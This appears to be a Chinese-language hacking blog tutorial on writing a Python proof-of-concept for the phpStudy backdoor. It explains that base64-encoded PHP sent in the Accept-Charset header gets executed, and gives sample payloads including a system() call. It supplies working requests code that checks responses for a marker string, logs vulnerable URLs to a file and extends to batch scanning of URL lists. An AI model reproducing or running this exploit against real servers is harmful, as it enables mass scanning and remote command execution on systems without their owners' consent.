00x1:
需要用到的模块如下:
import requests
import base64
00x2:
首先,既然是漏洞poc编写,那么我们肯定要有poc
当然直接exp利用也可以
每当爆出新的漏洞,就会有专业大佬进行分析,发出poc,我们直接利用即可
第一个例子,拿phpstudy后门为例
先了解一下base64模块
00x3:
接下来,你需要去了解一下这个后门,网上有很多分析文
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
了解base64你就可以写一个交互式的Exp
为了确定漏洞准确度,我们可以直接执行输出一个特定字符
cHJpbnRmKG1kNSgzMzMpKTs=
解码得:printf(md5(333));
这样,网页只有这个md5才会确定存在漏洞,准确度极高
这里仅已验证漏洞为例c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==
直接写入了base64验证poc,就不演示交互式的利用了
也是同理,核心代码如下:
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding':'gzip,deflate', 'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', }
主要就是Accept-Charset请求头,接着去写一个请求
r = requests.get(url=url, headers=headers,timeout=5) if 'xc666' in r.text: print u'over success:',url else: print u'flase:',url
加上结果自动保存:
with open('success.txt','a+') as f: f.write(url+"\n")
00x4:
批量检测:
只需要修改最后一行,打开文件遍历url即可,前面讲了,这里就不再多说了
00x5:
完整代码:https://github.com/hackxc/Pyhacker/
原文地址《Pyhacker 之 漏洞POC编写》
发表评论